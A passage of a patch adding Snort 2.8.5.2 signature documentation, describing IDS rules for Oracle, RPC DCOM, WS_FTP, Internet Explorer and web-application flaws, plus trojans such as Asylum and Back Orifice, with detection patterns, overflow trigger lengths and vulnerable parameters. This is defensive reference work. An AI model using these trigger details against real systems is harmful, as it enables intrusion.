+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2806.txt
+++ snort-2.8.5.2/doc/signatures/2806.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2806
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_local_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000610.txt
+++ snort-2.8.5.2/doc/signatures/100000610.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000610
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_checkurl.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_checkurl.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000538.txt
+++ snort-2.8.5.2/doc/signatures/100000538.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000538
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "thinkWMS" application running on a webserver. Access to 
+the file "index.php" with SQL commands being passed as the "catid" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "catid" parameter in the "index.php" script used by the 
+"thinkWMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using thinkWMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3209.txt
+++ snort-2.8.5.2/doc/signatures/3209.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3209
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1379.txt
+++ snort-2.8.5.2/doc/signatures/1379.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1379
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with IPSWITCH WS_FTP server for 
+Windows hosts.
+
+--
+Impact:
+Remote administrator access.  A successful attack can allow remote 
+execution of arbitrary commands with privileges of administrator.
+
+--
+Detailed Information:
+A buffer overflow exists in WS_FTP server that may permit the execution 
+of arbitrary commands with the privileges of administrator.  The exploit
+can be generated by FTP client sending a STAT command accompanied by an 
+argument greater than 479 bytes long.  This exploit requires login 
+access to the FTP server.
+
+--
+Affected Systems:
+Hosts running WS_FTP server 2.0.3.
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable WS_FTP server and supply an overly
+long file argument to cause a buffer overflow, allowing execution of 
+arbitrary commands with the privileges of administrator.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Security Focus:
+http://www.securityfocus.com/advisories/3641
+
+--
--- snort-2.8.5.2.orig/doc/signatures/559.txt
+++ snort-2.8.5.2/doc/signatures/559.txt
@@ -0,0 +1,91 @@
+Rule:  
+
+--
+
+Sid:
+
+559
+
+--
+
+Summary:
+
+A network-external client has connected to an internal GNUTella server
+and issued a connect attempt to begin communications.
+
+--
+
+Impact:
+
+Possible policy violation; possible excess network load.
+
+--
+
+Detailed Information:
+
+GNUTella is a P2P (Peer-to-Peer) protocol for exchanging arbitrary
+files.  Depending on your site's policies, using it may be a policy
+violation.
+
+If not properly configured, GNUTella clients may accidentally share out
+confidential files.  GNUTella worms (which use deceptive names to
+encourage download) and viruses may also be accidentally downloaded by a
+client.
+
+This rule being triggered means that a GNUTella server has been detected
+on the protected network.
+
+--
+
+Affected Systems:
+
+Any system with a GNUTella client installed (available for most
+platforms)
+
+--
+
+Attack Scenarios:
+
+N/A
+
+--
+
+Ease of Attack:
+
+N/A
+
+--
+
+False Positives:
+
+This rule detects the term "GNUTELLA CONNECT" on all ports.  As a
+result, any email, web page, or other network content that discusses the
+protocol and its messages will trigger this alert.
+
+--
+
+False Negatives:
+
+None known.
+
+--
+
+Corrective Action:
+
+Depends on acceptable use policies.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Gene R Gomez (gene!AT!gomezbrothers!DOT!com)
+
+-- 
+
+Additional References:
+
+GNUTella
+http://www.gnutella.com
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000792.txt
+++ snort-2.8.5.2/doc/signatures/100000792.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000792
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "fg" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000119.txt
+++ snort-2.8.5.2/doc/signatures/100000119.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+100000119
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow 
+present in Internet Explorer's urlmon.dll file.
+
+-- 
+
+Impact: 
+An attacker may execute arbitrary commands with the privileges of the user 
+running Internet Explorer.
+
+--
+Detailed Information:
+If a web server sends data with a Content-Encoding value of 300 or more bytes, 
+a buffer overflow is triggered, and commands may be executed with the 
+privileges of the user running Internet Explorer.
+
+--
+Affected Systems:
+Internet Explorer 5.0.1
+Internet Explorer 5.0.1 SP1
+Internet Explorer 5.0.1 SP2
+Internet Explorer 5.0.1 SP3
+Internet Explorer 5.5
+Internet Explorer 5.5 SP1
+Internet Explorer 5.5 SP2
+Internet Explorer 6.0
+Internet Explorer 6.0 SP1
+
+--
+
+Attack Scenarios: 
+An attacker must entice a user to click on a link to a properly configured 
+server, which will return the necessary data.
+
+-- 
+
+Ease of Attack: 
+Simple. An attacker must control a properly configured web server, and entice 
+users to click on a link to that server.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Apply the latest patches for Internet Explorer from Microsoft.com.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3228.txt
+++ snort-2.8.5.2/doc/signatures/3228.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3228
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1410.txt
+++ snort-2.8.5.2/doc/signatures/1410.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1410
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3014.txt
+++ snort-2.8.5.2/doc/signatures/3014.txt
@@ -0,0 +1,81 @@
+Rule: 
+
+--
+Sid: 
+3014
+
+-- 
+Summary: 
+This event is generated when a victim host attempts to send a connection
+confirmation to an attacker using the Asylum 0.1 trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to your system, enabling him to upload and execute files on your
+computer and reboot it at will, resulting in a full compromise of the victim's computer. 
+
+--
+Detailed Information:
+When executed, Asylum 0.1 opens up its assigned port (default is 23432) for communication with the attacker.
+Asylum 0.1 has four functions: Upload File, Open File, Reboot Computer, and Remove Server. 
+
+Upload File: Look for traffic on port 23432 containing UPL followed by a file location.
+Open File: Look for traffic on port 23432 containing RUN followed by a file location.
+Reboot: Look for the string "RBT" on port 23432.
+Remove Server: Look for the string "DIE" on port 23432.
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address, port number (which 
+is assigned to the server program by the attacker: default is 23432), and presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action:
+Delete the System Administration key (if found) in 
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run or
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices or
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
+
+Open the system.ini and (if found) replace shell=Explore.exe win32cmp.exe to shell=explore.exe
+
+Open the win.ini and (if found) delete load=c:\windows\wincmp32.exe or run=c:\windows\wincmp32.exe
+
+Find and delete the Asylum 0.1 trojan server file, usually called wincmp32.exe.
+
+Keep your anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+http://www.pestpatrol.com/PestInfo/A/Asylum.asp
+http://www.dark-e.com/archive/trojans/asylum/01/index.shtml
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/105-1.txt
+++ snort-2.8.5.2/doc/signatures/105-1.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+105-1
+
+--
+Summary:
+This event is generated when the pre-processor spp_bo detects network
+traffic that may constitute an attack. Specifically back orifice
+traffic was detected.
+
+--
+Impact:
+Unknown. This is possible Trojan activity.
+
+--
+Detailed Information:
+This event is generated when the spp_bo pre-processor detects network
+traffic that may consititute an attack.
+
+Back Orifice is a Trojan horse program for Microsoft systems. This event
+may indicate that this Trojan is active and in use on the protected
+network.
+
+--
+Affected Systems:
+	Microsoft Windows 95, 98, ME, NT, 2000
+
+--
+Attack Scenarios:
+This is Trojan activity. An attacker can use this Trojan to control the
+target host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000165.txt
+++ snort-2.8.5.2/doc/signatures/100000165.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+100000165
+
+-- 
+Summary: 
+This event is generated when an overly large UDP packet is sent to port 5093, 
+where the Sentinel License Manager service typically listens.
+
+--
+Impact:
+A denial of service will occur, and arbitrary code may be executed with the 
+privileges of the user running the service.
+
+--
+Detailed Information:
+A stack-based buffer overflow exists within the Sentinel License Manager, which 
+will be triggered if 2048 or more characters are received by the service. 
+Authentication is not required, and no specific characters need be present in 
+malicious packets in order to trigger the vulnerability.
+
+--
+Affected Systems:
+SafeNet Sentinel License Manager 7.2.0.2
+
+--
+Attack Scenarios:
+An attacker could use one of the publicly available exploit scripts, or create 
+a script which simply sends 2048 or more random characters to a vulnerable 
+server.
+
+--
+Ease of Attack:
+Simple, as public exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to version 8.0 or above.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000672.txt
+++ snort-2.8.5.2/doc/signatures/100000672.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000672
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "users.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "users.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000138.txt
+++ snort-2.8.5.2/doc/signatures/100000138.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+100000138
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft Internet Information Server (IIS).
+
+-- 
+Impact: 
+Serious. Information Disclosure, application source code may be disclosed.
+
+--
+Detailed Information:
+A programming error in an error page for Microsoft IIS may result in the 
+discloure of asp code disclosure on an affected system.
+
+By making a request to a server using a modified SERVER_NAME variable, the 
+underlying asp code is displayed in the error page returned to the requestor if 
+the asp page generates an error.
+
+--
+Affected Systems:
+Microsoft IIS 6.0 and prior
+
+--
+Attack Scenarios: 
+An attacker can make a request to the server and modify the SERVER_NAME 
+variable to be either localhost or 127.0.0.1, if the page returns an error the 
+asp code is revealed.
+
+-- 
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1829.txt
+++ snort-2.8.5.2/doc/signatures/1829.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1829
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/651.txt
+++ snort-2.8.5.2/doc/signatures/651.txt
@@ -0,0 +1,55 @@
+Rule:  
+--
+Sid:
+651
+
+--
+Summary:
+Binary data in the packet matched one kind of byte sequence used as filler in buffer overflow attacks.
+
+--
+Impact:
+It is possible someone was attempting a buffer overflow to gain unauthorized access to one of your servers.
+
+--
+Detailed Information:
+This rule triggers when a binary pattern appears in the packet contents which matches one form of filler-bytes used in buffer overflow attacks. Buffer overflows allow execution of arbitrary code with the privlege level of the affected server process. A very detailed discussion of how basic buffer overflows work can be found in the text of "Smashing the stack for fun and profit" by Aleph One in Phrack #49.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+If the attacker suspects you have a server which is vulnerable to buffer overflow, they will attempt to exploit this vulnerability to gain access.
+
+
+--
+Ease of Attack:
+Tools that use buffer overflows with stealth nop are widely available.
+
+--
+False Positives:
+This byte pattern can naturally occur in almost any binary data, so file downloads, streaming media, etc can cause this to false positive. If this traffic appears to be coming from a web or ftp server outside your network to one of your client machines, it is likely a false alert caused by someone downloading a binary file. If this was directed at a port on one of your machines which is running a server process, you may want to check to see if it has been exploited.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Matt Kettler mkettler@evi-inc.com	Initial Research
+Josh Gray	Edits
+
+-- 
+Additional References:
+http://online.securityfocus.com/library/14
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2826.txt
+++ snort-2.8.5.2/doc/signatures/2826.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2826
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_for_local_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1733.txt
+++ snort-2.8.5.2/doc/signatures/1733.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1733
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rwalld is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rwalld is using.  Attackers can also learn what versions of the rwalld protocol are accepted by rwalld. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rwalld run.  The rwalld RPC service is used by UNIX hosts to send a message to current users on the host.  There is a format string vulnerability associated with rwalld error messages, allowing an attacker to execute abitrary code with the privileges of rwalld, possibly root. According to CERT, this is both a local and remote exploit, but the remote exploit is more difficult to perform.
+
+--
+Affected Systems:
+Sun Solaris 2.5.1, 2.6, 7, and 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rwalld runs.  This may be a precursor to an attack to exploit the rwalld format string vulnerability.
+
+--
+Ease of Attack:
+Easy.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rwalld, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rwalld, not probes of the rwalld service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rwalld service itself. An attacker may attempt to go directly to the rwalld port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
